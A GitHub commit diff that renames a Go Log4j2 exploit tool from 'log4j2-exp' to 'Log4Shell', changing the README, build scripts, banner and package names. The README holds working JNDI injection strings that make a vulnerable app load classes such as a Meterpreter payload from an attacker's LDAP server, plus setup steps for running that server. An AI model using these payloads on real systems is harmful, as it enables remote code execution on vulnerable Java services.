Skip to content

Commit b9d0e3c

Browse files
committed
rename project to Log4Shell, update readme.
1 parent dbc2129 commit b9d0e3c

22 files changed

+97
-96
lines changed

README.md

Lines changed: 19 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -1,48 +1,48 @@
1-
# log4j2-exp
1+
# Log4Shell
22
* Check and exploit log4j2 vulnerability with single Go program.
33
* You don't need to install anything except develop it.
44
* It supports ldaps and https server for other usage.
55

66
## Run
7-
```log4j2-exp.exe -host "VPS IP address"```
8-
7+
```Log4Shell.exe -host "VPS IP address"```
98

109
## Check
11-
* run the log4j2-exp server
12-
* send ```${jndi:ldap://127.0.0.1/nop.class}```
10+
* run the Log4Shell server
11+
* send ```${jndi:ldap://127.0.0.1:3890/nop.class}```
1312

1413
## Exploit
15-
* run the log4j2-exp server
14+
* run the Log4Shell server
1615
* put your class file to the payload directory
17-
* send ```${jndi:ldap://127.0.0.1/meterpreter.class}```
16+
* send ```${jndi:ldap://127.0.0.1:3890/meterpreter.class}```
1817
* will open source after some time
1918

2019
## VulApp
2120
* VulApp is a vulnerable Java program that use log4j2 package.
2221
* You can use it for develop this project easily.
23-
* ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1/calc.class}```
22+
* ```java -jar vulapp.jar ${jndi:ldap://127.0.0.1:3890/calc.class}```
2423

2524
## Help
2625
```
27-
::: :::::::: :::::::: ::: ::::::::::: ::::::::
28-
:+: :+: :+: :+: :+: :+: :+: :+: :+:
29-
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
30-
+#+ +#+ +:+ :#: +#+ +:+ +#+ +#+
31-
+#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+
32-
#+# #+# #+# #+# #+# #+# #+# #+# #+#
33-
########## ######## ######## ### ##### ##########
26+
27+
::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: :::
28+
:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+:
29+
+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+
30+
+#+ +#+ +:+ :#: +#+ +:+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+
31+
+#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+
32+
#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+#
33+
######## ######## ######## ### ######## ### ### ########## ######## ########
3434
35-
https://github.com/For-ACGN/log4j2-exp
35+
https://github.com/For-ACGN/Log4Shell
3636
37-
Usage of log4j2-exp.exe:
37+
Usage of Log4Shell.exe:
3838
-host string
3939
server IP address or domain name (default "127.0.0.1")
4040
-http-addr string
4141
http server address (default ":8080")
4242
-http-net string
4343
http server network (default "tcp")
4444
-ldap-addr string
45-
ldap server address (default ":389")
45+
ldap server address (default ":3890")
4646
-ldap-net string
4747
ldap server network (default "tcp")
4848
-payload string
@@ -56,4 +56,4 @@ Usage of log4j2-exp.exe:
5656
```
5757

5858
## Screenshot
59-
![](https://github.com/For-ACGN/log4j2-exp/raw/main/screenshot.png)
59+
![](https://github.com/For-ACGN/Log4Shell/raw/main/screenshot.png)

autocert.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package log4j2
1+
package log4shell
22

33
import (
44
"fmt"

autocert_test.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
package log4j2
1+
package log4shell

build.bat

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,18 @@ cd bin
33

44
set GOOS=windows
55
set GOARCH=386
6-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.exe ../cmd/main.go
6+
go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.exe ../cmd/main.go
77

88
set GOOS=windows
99
set GOARCH=amd64
10-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.exe ../cmd/main.go
10+
go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.exe ../cmd/main.go
1111

1212
set GOOS=linux
1313
set GOARCH=386
14-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.elf ../cmd/main.go
14+
go build -v -trimpath -ldflags "-s -w" -o Log4Shell_386.elf ../cmd/main.go
1515

1616
set GOOS=linux
1717
set GOARCH=amd64
18-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.elf ../cmd/main.go
18+
go build -v -trimpath -ldflags "-s -w" -o Log4Shell_amd64.elf ../cmd/main.go
1919

2020
cd ..

build.sh

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -3,18 +3,18 @@ cd bin
33

44
set GOOS=windows
55
set GOARCH=386
6-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.exe ../cmd/main.go
6+
go build -v -trimpath -ldflags "-s -w" -o log4shell_386.exe ../cmd/main.go
77

88
set GOOS=windows
99
set GOARCH=amd64
10-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.exe ../cmd/main.go
10+
go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.exe ../cmd/main.go
1111

1212
set GOOS=linux
1313
set GOARCH=386
14-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_386.elf ../cmd/main.go
14+
go build -v -trimpath -ldflags "-s -w" -o log4shell_386.elf ../cmd/main.go
1515

1616
set GOOS=linux
1717
set GOARCH=amd64
18-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp_amd64.elf ../cmd/main.go
18+
go build -v -trimpath -ldflags "-s -w" -o log4shell_amd64.elf ../cmd/main.go
1919

2020
cd ..

cmd/build.bat

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp.exe
1+
go build -v -trimpath -ldflags "-s -w" -o Log4Shell.exe

cmd/build.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1 +1 @@
1-
go build -v -trimpath -ldflags "-s -w" -o log4j2-exp
1+
go build -v -trimpath -ldflags "-s -w" -o log4shell

cmd/main.go

Lines changed: 13 additions & 13 deletions
Original file line numberDiff line numberDiff line change
@@ -8,11 +8,11 @@ import (
88
"os"
99
"os/signal"
1010

11-
"github.com/For-ACGN/log4j2-exp"
11+
"github.com/For-ACGN/Log4Shell"
1212
)
1313

1414
var (
15-
cfg log4j2.Config
15+
cfg log4shell.Config
1616
crt string
1717
key string
1818
)
@@ -35,15 +35,15 @@ func init() {
3535

3636
func banner() {
3737
fmt.Println()
38-
fmt.Println(" ::: :::::::: :::::::: ::: ::::::::::: :::::::: ")
39-
fmt.Println(" :+: :+: :+: :+: :+: :+: :+: :+: :+: ")
40-
fmt.Println(" +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ ")
41-
fmt.Println(" +#+ +#+ +:+ :#: +#+ +:+ +#+ +#+ ")
42-
fmt.Println(" +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ ")
43-
fmt.Println(" #+# #+# #+# #+# #+# #+# #+# #+# #+# ")
44-
fmt.Println(" ########## ######## ######## ### ##### ########## ")
38+
fmt.Println(" ::: :::::::: :::::::: ::: :::::::: ::: ::: :::::::::: ::: ::: ")
39+
fmt.Println(" :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: ")
40+
fmt.Println(" +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ ")
41+
fmt.Println(" +#+ +#+ +:+ :#: +#+ +:+ +#++:++#++ +#++:++#++ +#++:++# +#+ +#+ ")
42+
fmt.Println(" +#+ +#+ +#+ +#+ +#+# +#+#+#+#+#+ +#+ +#+ +#+ +#+ +#+ +#+ ")
43+
fmt.Println(" #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# ")
44+
fmt.Println(" ######## ######## ######## ### ######## ### ### ########## ######## ########")
4545
fmt.Println()
46-
fmt.Println(" https://github.com/For-ACGN/log4j2-exp")
46+
fmt.Println(" https://github.com/For-ACGN/Log4Shell")
4747
fmt.Println()
4848
}
4949

@@ -64,13 +64,13 @@ func main() {
6464
}
6565
cfg.LogOut = os.Stdout
6666

67-
// start log4j2-exploit server
68-
server, err := log4j2.New(&cfg)
67+
// start log4shell server
68+
server, err := log4shell.New(&cfg)
6969
checkError(err)
7070
err = server.Start()
7171
checkError(err)
7272

73-
// wait signal for stop log4j2-exploit server
73+
// wait signal for stop log4shell server
7474
signalCh := make(chan os.Signal, 1)
7575
signal.Notify(signalCh, os.Interrupt)
7676
<-signalCh

go.mod

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
module github.com/For-ACGN/log4j2-exp
1+
module github.com/For-ACGN/Log4Shell
22

33
go 1.17
44

http.go

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package log4j2
1+
package log4shell
22

33
import (
44
"log"

0 commit comments

Comments
 (0)